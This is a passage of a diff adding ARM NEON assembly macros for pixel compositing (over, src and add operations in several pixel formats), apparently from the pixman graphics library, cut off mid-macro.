+    vmull.u8    q11, d24, d7
+.endm
+
+.macro pixman_composite_over_8888_8888_process_pixblock_tail
+    vrshr.u16   q14, q8, #8
+    vrshr.u16   q15, q9, #8
+    vrshr.u16   q12, q10, #8
+    vrshr.u16   q13, q11, #8
+    vraddhn.u16 d28, q14, q8
+    vraddhn.u16 d29, q15, q9
+    vraddhn.u16 d30, q12, q10
+    vraddhn.u16 d31, q13, q11
+    vqadd.u8    q14, q0, q14
+    vqadd.u8    q15, q1, q15
+.endm
+
+.macro pixman_composite_over_8888_8888_process_pixblock_tail_head
+    vld4.8      {d4, d5, d6, d7}, [DST_R, :128]!
+        vrshr.u16   q14, q8, #8
+                                    PF add PF_X, PF_X, #8
+                                    PF tst PF_CTL, #0xF
+        vrshr.u16   q15, q9, #8
+        vrshr.u16   q12, q10, #8
+        vrshr.u16   q13, q11, #8
+                                    PF addne PF_X, PF_X, #8
+                                    PF subne PF_CTL, PF_CTL, #1
+        vraddhn.u16 d28, q14, q8
+        vraddhn.u16 d29, q15, q9
+                                    PF cmp PF_X, ORIG_W
+        vraddhn.u16 d30, q12, q10
+        vraddhn.u16 d31, q13, q11
+        vqadd.u8    q14, q0, q14
+        vqadd.u8    q15, q1, q15
+    vld4.8      {d0, d1, d2, d3}, [SRC]!
+                                    PF pld, [PF_SRC, PF_X, lsl #src_bpp_shift]
+    vmvn.8      d22, d3
+                                    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+        vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+                                    PF subge PF_X, PF_X, ORIG_W
+    vmull.u8    q8, d22, d4
+                                    PF subges PF_CTL, PF_CTL, #0x10
+    vmull.u8    q9, d22, d5
+                                    PF ldrgeb DUMMY, [PF_SRC, SRC_STRIDE, lsl #src_bpp_shift]!
+    vmull.u8    q10, d22, d6
+                                    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+    vmull.u8    q11, d22, d7
+.endm
+
+generate_composite_function \
+    pixman_composite_over_8888_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_over_8888_8888_process_pixblock_head, \
+    pixman_composite_over_8888_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_8888_process_pixblock_tail_head
+
+generate_composite_function_single_scanline \
+    pixman_composite_scanline_over_asm_neon, 32, 0, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_over_8888_8888_process_pixblock_head, \
+    pixman_composite_over_8888_8888_process_pixblock_tail, \
+    pixman_composite_over_8888_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_n_8888_process_pixblock_tail_head
+    pixman_composite_over_8888_8888_process_pixblock_tail
+    vld4.8      {d4, d5, d6, d7}, [DST_R, :128]!
+    vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+    pixman_composite_over_8888_8888_process_pixblock_head
+.endm
+
+.macro pixman_composite_over_n_8888_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d3[0]}, [DUMMY]
+    vdup.8      d0, d3[0]
+    vdup.8      d1, d3[1]
+    vdup.8      d2, d3[2]
+    vdup.8      d3, d3[3]
+.endm
+
+generate_composite_function \
+    pixman_composite_over_n_8888_asm_neon, 0, 0, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_n_8888_init, \
+    default_cleanup, \
+    pixman_composite_over_8888_8888_process_pixblock_head, \
+    pixman_composite_over_8888_8888_process_pixblock_tail, \
+    pixman_composite_over_n_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_over_reverse_n_8888_process_pixblock_tail_head
+        vrshr.u16   q14, q8, #8
+                                    PF add PF_X, PF_X, #8
+                                    PF tst PF_CTL, #0xF
+        vrshr.u16   q15, q9, #8
+        vrshr.u16   q12, q10, #8
+        vrshr.u16   q13, q11, #8
+                                    PF addne PF_X, PF_X, #8
+                                    PF subne PF_CTL, PF_CTL, #1
+        vraddhn.u16 d28, q14, q8
+        vraddhn.u16 d29, q15, q9
+                                    PF cmp PF_X, ORIG_W
+        vraddhn.u16 d30, q12, q10
+        vraddhn.u16 d31, q13, q11
+        vqadd.u8    q14, q0, q14
+        vqadd.u8    q15, q1, q15
+    vld4.8      {d0, d1, d2, d3}, [DST_R, :128]!
+    vmvn.8      d22, d3
+                                    PF pld, [PF_DST, PF_X, lsl #dst_bpp_shift]
+        vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+                                    PF subge PF_X, PF_X, ORIG_W
+    vmull.u8    q8, d22, d4
+                                    PF subges PF_CTL, PF_CTL, #0x10
+    vmull.u8    q9, d22, d5
+    vmull.u8    q10, d22, d6
+                                    PF ldrgeb DUMMY, [PF_DST, DST_STRIDE, lsl #dst_bpp_shift]!
+    vmull.u8    q11, d22, d7
+.endm
+
+.macro pixman_composite_over_reverse_n_8888_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d7[0]}, [DUMMY]
+    vdup.8      d4, d7[0]
+    vdup.8      d5, d7[1]
+    vdup.8      d6, d7[2]
+    vdup.8      d7, d7[3]
+.endm
+
+generate_composite_function \
+    pixman_composite_over_reverse_n_8888_asm_neon, 0, 0, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_reverse_n_8888_init, \
+    default_cleanup, \
+    pixman_composite_over_8888_8888_process_pixblock_head, \
+    pixman_composite_over_8888_8888_process_pixblock_tail, \
+    pixman_composite_over_reverse_n_8888_process_pixblock_tail_head, \
+    28, /* dst_w_basereg */ \
+    0,  /* dst_r_basereg */ \
+    4,  /* src_basereg   */ \
+    24  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_over_n_8_0565_process_pixblock_head
+    /* in */
+    vmull.u8    q0, d24, d8
+    vmull.u8    q1, d24, d9
+    vmull.u8    q6, d24, d10
+    vmull.u8    q7, d24, d11
+    vrshr.u16   q10, q0, #8
+    vrshr.u16   q11, q1, #8
+    vrshr.u16   q12, q6, #8
+    vrshr.u16   q13, q7, #8
+    vraddhn.u16 d0, q0, q10
+    vraddhn.u16 d1, q1, q11
+    vraddhn.u16 d2, q6, q12
+    vraddhn.u16 d3, q7, q13
+
+    vshrn.u16   d6, q2, #8
+    vshrn.u16   d7, q2, #3
+    vsli.u16    q2, q2, #5
+    vsri.u8     d6, d6, #5
+    vmvn.8      d3, d3
+    vsri.u8     d7, d7, #6
+    vshrn.u16   d30, q2, #2
+    /* now do alpha blending */
+    vmull.u8    q10, d3, d6
+    vmull.u8    q11, d3, d7
+    vmull.u8    q12, d3, d30
+    vrshr.u16   q13, q10, #8
+    vrshr.u16   q3, q11, #8
+    vrshr.u16   q15, q12, #8
+    vraddhn.u16 d20, q10, q13
+    vraddhn.u16 d23, q11, q3
+    vraddhn.u16 d22, q12, q15
+.endm
+
+.macro pixman_composite_over_n_8_0565_process_pixblock_tail
+    vqadd.u8    d16, d2, d20
+    vqadd.u8    q9, q0, q11
+    /* convert to r5g6b5 */
+    vshll.u8    q14, d16, #8
+    vshll.u8    q8, d19, #8
+    vshll.u8    q9, d18, #8
+    vsri.u16    q14, q8, #5
+    vsri.u16    q14, q9, #11
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_n_8_0565_process_pixblock_tail_head
+    pixman_composite_over_n_8_0565_process_pixblock_tail
+    vst1.16     {d28, d29}, [DST_W, :128]!
+    vld1.16     {d4, d5}, [DST_R, :128]!
+    vld1.8      {d24}, [MASK]!
+    cache_preload 8, 8
+    pixman_composite_over_n_8_0565_process_pixblock_head
+.endm
+
+/*
+ * This function needs a special initialization of solid mask.
+ * Solid source pixel data is fetched from stack at ARGS_STACK_OFFSET
+ * offset, split into color components and replicated in d8-d11
+ * registers. Additionally, this function needs all the NEON registers,
+ * so it has to save d8-d15 registers which are callee saved according
+ * to ABI. These registers are restored from 'cleanup' macro. All the
+ * other NEON registers are caller saved, so can be clobbered freely
+ * without introducing any problems.
+ */
+.macro pixman_composite_over_n_8_0565_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vpush       {d8-d15}
+    vld1.32     {d11[0]}, [DUMMY]
+    vdup.8      d8, d11[0]
+    vdup.8      d9, d11[1]
+    vdup.8      d10, d11[2]
+    vdup.8      d11, d11[3]
+.endm
+
+.macro pixman_composite_over_n_8_0565_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_n_8_0565_asm_neon, 0, 8, 16, \
+    FLAG_DST_READWRITE, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_n_8_0565_init, \
+    pixman_composite_over_n_8_0565_cleanup, \
+    pixman_composite_over_n_8_0565_process_pixblock_head, \
+    pixman_composite_over_n_8_0565_process_pixblock_tail, \
+    pixman_composite_over_n_8_0565_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_src_0565_0565_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_0565_0565_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_0565_0565_process_pixblock_tail_head
+    vst1.16 {d0, d1, d2, d3}, [DST_W, :128]!
+    vld1.16 {d0, d1, d2, d3}, [SRC]!
+    cache_preload 16, 16
+.endm
+
+generate_composite_function \
+    pixman_composite_src_0565_0565_asm_neon, 16, 0, 16, \
+    FLAG_DST_WRITEONLY, \
+    16, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_0565_0565_process_pixblock_head, \
+    pixman_composite_src_0565_0565_process_pixblock_tail, \
+    pixman_composite_src_0565_0565_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_n_8_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_n_8_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_n_8_process_pixblock_tail_head
+    vst1.8  {d0, d1, d2, d3}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_src_n_8_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d0[0]}, [DUMMY]
+    vsli.u64    d0, d0, #8
+    vsli.u64    d0, d0, #16
+    vsli.u64    d0, d0, #32
+    vmov        d1, d0
+    vmov        q1, q0
+.endm
+
+.macro pixman_composite_src_n_8_cleanup
+.endm
+
+generate_composite_function \
+    pixman_composite_src_n_8_asm_neon, 0, 0, 8, \
+    FLAG_DST_WRITEONLY, \
+    32, /* number of pixels, processed in a single block */ \
+    0,  /* prefetch distance */ \
+    pixman_composite_src_n_8_init, \
+    pixman_composite_src_n_8_cleanup, \
+    pixman_composite_src_n_8_process_pixblock_head, \
+    pixman_composite_src_n_8_process_pixblock_tail, \
+    pixman_composite_src_n_8_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_n_0565_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_n_0565_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_n_0565_process_pixblock_tail_head
+    vst1.16 {d0, d1, d2, d3}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_src_n_0565_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d0[0]}, [DUMMY]
+    vsli.u64    d0, d0, #16
+    vsli.u64    d0, d0, #32
+    vmov        d1, d0
+    vmov        q1, q0
+.endm
+
+.macro pixman_composite_src_n_0565_cleanup
+.endm
+
+generate_composite_function \
+    pixman_composite_src_n_0565_asm_neon, 0, 0, 16, \
+    FLAG_DST_WRITEONLY, \
+    16, /* number of pixels, processed in a single block */ \
+    0,  /* prefetch distance */ \
+    pixman_composite_src_n_0565_init, \
+    pixman_composite_src_n_0565_cleanup, \
+    pixman_composite_src_n_0565_process_pixblock_head, \
+    pixman_composite_src_n_0565_process_pixblock_tail, \
+    pixman_composite_src_n_0565_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_n_8888_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_n_8888_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_n_8888_process_pixblock_tail_head
+    vst1.32 {d0, d1, d2, d3}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_src_n_8888_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vld1.32     {d0[0]}, [DUMMY]
+    vsli.u64    d0, d0, #32
+    vmov        d1, d0
+    vmov        q1, q0
+.endm
+
+.macro pixman_composite_src_n_8888_cleanup
+.endm
+
+generate_composite_function \
+    pixman_composite_src_n_8888_asm_neon, 0, 0, 32, \
+    FLAG_DST_WRITEONLY, \
+    8, /* number of pixels, processed in a single block */ \
+    0, /* prefetch distance */ \
+    pixman_composite_src_n_8888_init, \
+    pixman_composite_src_n_8888_cleanup, \
+    pixman_composite_src_n_8888_process_pixblock_head, \
+    pixman_composite_src_n_8888_process_pixblock_tail, \
+    pixman_composite_src_n_8888_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_8888_8888_process_pixblock_head
+.endm
+
+.macro pixman_composite_src_8888_8888_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_8888_8888_process_pixblock_tail_head
+    vst1.32 {d0, d1, d2, d3}, [DST_W, :128]!
+    vld1.32 {d0, d1, d2, d3}, [SRC]!
+    cache_preload 8, 8
+.endm
+
+generate_composite_function \
+    pixman_composite_src_8888_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_WRITEONLY, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_src_8888_8888_process_pixblock_head, \
+    pixman_composite_src_8888_8888_process_pixblock_tail, \
+    pixman_composite_src_8888_8888_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_src_x888_8888_process_pixblock_head
+    vorr     q0, q0, q2
+    vorr     q1, q1, q2
+.endm
+
+.macro pixman_composite_src_x888_8888_process_pixblock_tail
+.endm
+
+.macro pixman_composite_src_x888_8888_process_pixblock_tail_head
+    vst1.32 {d0, d1, d2, d3}, [DST_W, :128]!
+    vld1.32 {d0, d1, d2, d3}, [SRC]!
+    vorr     q0, q0, q2
+    vorr     q1, q1, q2
+    cache_preload 8, 8
+.endm
+
+.macro pixman_composite_src_x888_8888_init
+    vmov.u8  q2, #0xFF
+    vshl.u32 q2, q2, #24
+.endm
+
+generate_composite_function \
+    pixman_composite_src_x888_8888_asm_neon, 32, 0, 32, \
+    FLAG_DST_WRITEONLY, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    pixman_composite_src_x888_8888_init, \
+    default_cleanup, \
+    pixman_composite_src_x888_8888_process_pixblock_head, \
+    pixman_composite_src_x888_8888_process_pixblock_tail, \
+    pixman_composite_src_x888_8888_process_pixblock_tail_head, \
+    0, /* dst_w_basereg */ \
+    0, /* dst_r_basereg */ \
+    0, /* src_basereg   */ \
+    0  /* mask_basereg  */
+
+/******************************************************************************/
+
+.macro pixman_composite_over_n_8_8888_process_pixblock_head
+    /* expecting deinterleaved source data in {d8, d9, d10, d11} */
+    /* d8 - blue, d9 - green, d10 - red, d11 - alpha */
+    /* and destination data in {d4, d5, d6, d7} */
+    /* mask is in d24 (d25, d26, d27 are unused) */
+
+    /* in */
+    vmull.u8    q0, d24, d8
+    vmull.u8    q1, d24, d9
+    vmull.u8    q6, d24, d10
+    vmull.u8    q7, d24, d11
+    vrshr.u16   q10, q0, #8
+    vrshr.u16   q11, q1, #8
+    vrshr.u16   q12, q6, #8
+    vrshr.u16   q13, q7, #8
+    vraddhn.u16 d0, q0, q10
+    vraddhn.u16 d1, q1, q11
+    vraddhn.u16 d2, q6, q12
+    vraddhn.u16 d3, q7, q13
+    vmvn.8      d24, d3  /* get inverted alpha */
+    /* source:      d0 - blue, d1 - green, d2 - red, d3 - alpha */
+    /* destination: d4 - blue, d5 - green, d6 - red, d7 - alpha */
+    /* now do alpha blending */
+    vmull.u8    q8, d24, d4
+    vmull.u8    q9, d24, d5
+    vmull.u8    q10, d24, d6
+    vmull.u8    q11, d24, d7
+.endm
+
+.macro pixman_composite_over_n_8_8888_process_pixblock_tail
+    vrshr.u16   q14, q8, #8
+    vrshr.u16   q15, q9, #8
+    vrshr.u16   q12, q10, #8
+    vrshr.u16   q13, q11, #8
+    vraddhn.u16 d28, q14, q8
+    vraddhn.u16 d29, q15, q9
+    vraddhn.u16 d30, q12, q10
+    vraddhn.u16 d31, q13, q11
+    vqadd.u8    q14, q0, q14
+    vqadd.u8    q15, q1, q15
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_over_n_8_8888_process_pixblock_tail_head
+    pixman_composite_over_n_8_8888_process_pixblock_tail
+    vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+    vld4.8      {d4, d5, d6, d7}, [DST_R, :128]!
+    vld1.8      {d24}, [MASK]!
+    cache_preload 8, 8
+    pixman_composite_over_n_8_8888_process_pixblock_head
+.endm
+
+.macro pixman_composite_over_n_8_8888_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vpush       {d8-d15}
+    vld1.32     {d11[0]}, [DUMMY]
+    vdup.8      d8, d11[0]
+    vdup.8      d9, d11[1]
+    vdup.8      d10, d11[2]
+    vdup.8      d11, d11[3]
+.endm
+
+.macro pixman_composite_over_n_8_8888_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_n_8_8888_asm_neon, 0, 8, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_n_8_8888_init, \
+    pixman_composite_over_n_8_8888_cleanup, \
+    pixman_composite_over_n_8_8888_process_pixblock_head, \
+    pixman_composite_over_n_8_8888_process_pixblock_tail, \
+    pixman_composite_over_n_8_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_over_n_8888_8888_ca_process_pixblock_head
+    /*
+     * 'combine_mask_ca' replacement
+     *
+     * input:  solid src (n) in {d8,  d9,  d10, d11}
+     *         dest in          {d4,  d5,  d6,  d7 }
+     *         mask in          {d24, d25, d26, d27}
+     * output: updated src in   {d0,  d1,  d2,  d3 }
+     *         updated mask in  {d24, d25, d26, d3 }
+     */
+    vmull.u8    q0,  d24, d8
+    vmull.u8    q1,  d25, d9
+    vmull.u8    q6,  d26, d10
+    vmull.u8    q7,  d27, d11
+    vmull.u8    q9,  d11, d25
+    vmull.u8    q12, d11, d24
+    vmull.u8    q13, d11, d26
+    vrshr.u16   q8,  q0,  #8
+    vrshr.u16   q10, q1,  #8
+    vrshr.u16   q11, q6,  #8
+    vraddhn.u16 d0,  q0,  q8
+    vraddhn.u16 d1,  q1,  q10
+    vraddhn.u16 d2,  q6,  q11
+    vrshr.u16   q11, q12, #8
+    vrshr.u16   q8,  q9,  #8
+    vrshr.u16   q6,  q13, #8
+    vrshr.u16   q10, q7,  #8
+    vraddhn.u16 d24, q12, q11
+    vraddhn.u16 d25, q9,  q8
+    vraddhn.u16 d26, q13, q6
+    vraddhn.u16 d3,  q7,  q10
+    /*
+     * 'combine_over_ca' replacement
+     *
+     * output: updated dest in {d28, d29, d30, d31}
+     */
+    vmvn.8      d24, d24
+    vmvn.8      d25, d25
+    vmull.u8    q8,  d24, d4
+    vmull.u8    q9,  d25, d5
+    vmvn.8      d26, d26
+    vmvn.8      d27, d3
+    vmull.u8    q10, d26, d6
+    vmull.u8    q11, d27, d7
+.endm
+
+.macro pixman_composite_over_n_8888_8888_ca_process_pixblock_tail
+    /* ... continue 'combine_over_ca' replacement */
+    vrshr.u16   q14, q8,  #8
+    vrshr.u16   q15, q9,  #8
+    vrshr.u16   q6,  q10, #8
+    vrshr.u16   q7,  q11, #8
+    vraddhn.u16 d28, q14, q8
+    vraddhn.u16 d29, q15, q9
+    vraddhn.u16 d30, q6,  q10
+    vraddhn.u16 d31, q7,  q11
+    vqadd.u8    q14, q0,  q14
+    vqadd.u8    q15, q1,  q15
+.endm
+
+.macro pixman_composite_over_n_8888_8888_ca_process_pixblock_tail_head
+        vrshr.u16   q14, q8, #8
+        vrshr.u16   q15, q9, #8
+    vld4.8      {d4, d5, d6, d7}, [DST_R, :128]!
+        vrshr.u16   q6, q10, #8
+        vrshr.u16   q7, q11, #8
+        vraddhn.u16 d28, q14, q8
+        vraddhn.u16 d29, q15, q9
+        vraddhn.u16 d30, q6, q10
+        vraddhn.u16 d31, q7, q11
+    vld4.8      {d24, d25, d26, d27}, [MASK]!
+        vqadd.u8    q14, q0, q14
+        vqadd.u8    q15, q1, q15
+    cache_preload 8, 8
+    pixman_composite_over_n_8888_8888_ca_process_pixblock_head
+    vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+.endm
+
+.macro pixman_composite_over_n_8888_8888_ca_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vpush       {d8-d15}
+    vld1.32     {d11[0]}, [DUMMY]
+    vdup.8      d8, d11[0]
+    vdup.8      d9, d11[1]
+    vdup.8      d10, d11[2]
+    vdup.8      d11, d11[3]
+.endm
+
+.macro pixman_composite_over_n_8888_8888_ca_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_over_n_8888_8888_ca_asm_neon, 0, 32, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_over_n_8888_8888_ca_init, \
+    pixman_composite_over_n_8888_8888_ca_cleanup, \
+    pixman_composite_over_n_8888_8888_ca_process_pixblock_head, \
+    pixman_composite_over_n_8888_8888_ca_process_pixblock_tail, \
+    pixman_composite_over_n_8888_8888_ca_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_add_n_8_8_process_pixblock_head
+    /* expecting source data in {d8, d9, d10, d11} */
+    /* d8 - blue, d9 - green, d10 - red, d11 - alpha */
+    /* and destination data in {d4, d5, d6, d7} */
+    /* mask is in d24, d25, d26, d27 */
+    vmull.u8    q0, d24, d11
+    vmull.u8    q1, d25, d11
+    vmull.u8    q6, d26, d11
+    vmull.u8    q7, d27, d11
+    vrshr.u16   q10, q0, #8
+    vrshr.u16   q11, q1, #8
+    vrshr.u16   q12, q6, #8
+    vrshr.u16   q13, q7, #8
+    vraddhn.u16 d0, q0, q10
+    vraddhn.u16 d1, q1, q11
+    vraddhn.u16 d2, q6, q12
+    vraddhn.u16 d3, q7, q13
+    vqadd.u8    q14, q0, q2
+    vqadd.u8    q15, q1, q3
+.endm
+
+.macro pixman_composite_add_n_8_8_process_pixblock_tail
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_add_n_8_8_process_pixblock_tail_head
+    pixman_composite_add_n_8_8_process_pixblock_tail
+    vst1.8      {d28, d29, d30, d31}, [DST_W, :128]!
+    vld1.8      {d4, d5, d6, d7}, [DST_R, :128]!
+    vld1.8      {d24, d25, d26, d27}, [MASK]!
+    cache_preload 32, 32
+    pixman_composite_add_n_8_8_process_pixblock_head
+.endm
+
+.macro pixman_composite_add_n_8_8_init
+    add         DUMMY, sp, #ARGS_STACK_OFFSET
+    vpush       {d8-d15}
+    vld1.32     {d11[0]}, [DUMMY]
+    vdup.8      d11, d11[3]
+.endm
+
+.macro pixman_composite_add_n_8_8_cleanup
+    vpop        {d8-d15}
+.endm
+
+generate_composite_function \
+    pixman_composite_add_n_8_8_asm_neon, 0, 8, 8, \
+    FLAG_DST_READWRITE, \
+    32, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_add_n_8_8_init, \
+    pixman_composite_add_n_8_8_cleanup, \
+    pixman_composite_add_n_8_8_process_pixblock_head, \
+    pixman_composite_add_n_8_8_process_pixblock_tail, \
+    pixman_composite_add_n_8_8_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_add_8_8_8_process_pixblock_head
+    /* expecting source data in {d0, d1, d2, d3} */
+    /* destination data in {d4, d5, d6, d7} */
+    /* mask in {d24, d25, d26, d27} */
+    vmull.u8    q8, d24, d0
+    vmull.u8    q9, d25, d1
+    vmull.u8    q10, d26, d2
+    vmull.u8    q11, d27, d3
+    vrshr.u16   q0, q8, #8
+    vrshr.u16   q1, q9, #8
+    vrshr.u16   q12, q10, #8
+    vrshr.u16   q13, q11, #8
+    vraddhn.u16 d0, q0, q8
+    vraddhn.u16 d1, q1, q9
+    vraddhn.u16 d2, q12, q10
+    vraddhn.u16 d3, q13, q11
+    vqadd.u8    q14, q0, q2
+    vqadd.u8    q15, q1, q3
+.endm
+
+.macro pixman_composite_add_8_8_8_process_pixblock_tail
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_add_8_8_8_process_pixblock_tail_head
+    pixman_composite_add_8_8_8_process_pixblock_tail
+    vst1.8      {d28, d29, d30, d31}, [DST_W, :128]!
+    vld1.8      {d4, d5, d6, d7}, [DST_R, :128]!
+    vld1.8      {d24, d25, d26, d27}, [MASK]!
+    vld1.8      {d0, d1, d2, d3}, [SRC]!
+    cache_preload 32, 32
+    pixman_composite_add_8_8_8_process_pixblock_head
+.endm
+
+.macro pixman_composite_add_8_8_8_init
+.endm
+
+.macro pixman_composite_add_8_8_8_cleanup
+.endm
+
+generate_composite_function \
+    pixman_composite_add_8_8_8_asm_neon, 8, 8, 8, \
+    FLAG_DST_READWRITE, \
+    32, /* number of pixels, processed in a single block */ \
+    5, /* prefetch distance */ \
+    pixman_composite_add_8_8_8_init, \
+    pixman_composite_add_8_8_8_cleanup, \
+    pixman_composite_add_8_8_8_process_pixblock_head, \
+    pixman_composite_add_8_8_8_process_pixblock_tail, \
+    pixman_composite_add_8_8_8_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_add_8888_8888_8888_process_pixblock_head
+    /* expecting source data in {d0, d1, d2, d3} */
+    /* destination data in {d4, d5, d6, d7} */
+    /* mask in {d24, d25, d26, d27} */
+    vmull.u8    q8, d27, d0
+    vmull.u8    q9, d27, d1
+    vmull.u8    q10, d27, d2
+    vmull.u8    q11, d27, d3
+    vrshr.u16   q0, q8, #8
+    vrshr.u16   q1, q9, #8
+    vrshr.u16   q12, q10, #8
+    vrshr.u16   q13, q11, #8
+    vraddhn.u16 d0, q0, q8
+    vraddhn.u16 d1, q1, q9
+    vraddhn.u16 d2, q12, q10
+    vraddhn.u16 d3, q13, q11
+    vqadd.u8    q14, q0, q2
+    vqadd.u8    q15, q1, q3
+.endm
+
+.macro pixman_composite_add_8888_8888_8888_process_pixblock_tail
+.endm
+
+/* TODO: expand macros and do better instructions scheduling */
+.macro pixman_composite_add_8888_8888_8888_process_pixblock_tail_head
+    pixman_composite_add_8888_8888_8888_process_pixblock_tail
+    vst4.8      {d28, d29, d30, d31}, [DST_W, :128]!
+    vld4.8      {d4, d5, d6, d7}, [DST_R, :128]!
+    vld4.8      {d24, d25, d26, d27}, [MASK]!
+    vld4.8      {d0, d1, d2, d3}, [SRC]!
+    cache_preload 8, 8
+    pixman_composite_add_8888_8888_8888_process_pixblock_head
+.endm
+
+generate_composite_function \
+    pixman_composite_add_8888_8888_8888_asm_neon, 32, 32, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    10, /* prefetch distance */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_head, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_tail, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_tail_head
+
+generate_composite_function_single_scanline \
+    pixman_composite_scanline_add_mask_asm_neon, 32, 32, 32, \
+    FLAG_DST_READWRITE | FLAG_DEINTERLEAVE_32BPP, \
+    8, /* number of pixels, processed in a single block */ \
+    default_init, \
+    default_cleanup, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_head, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_tail, \
+    pixman_composite_add_8888_8888_8888_process_pixblock_tail_head
+
+/******************************************************************************/
+
+.macro pixman_composite_over_8888_n_8888_process_pixblock_head
+    /* expecting source data in {d0, d1, d2, d3} */
+    /* destination data in {d4, d5, d6, d7} */
+    /* solid mask is in d15 */
+
+    /* 'in' */
+    vmull.u8    q8, d15, d3
+    vmull.u8    q6, d15, d2
+    vmull.u8    q5, d15, d1
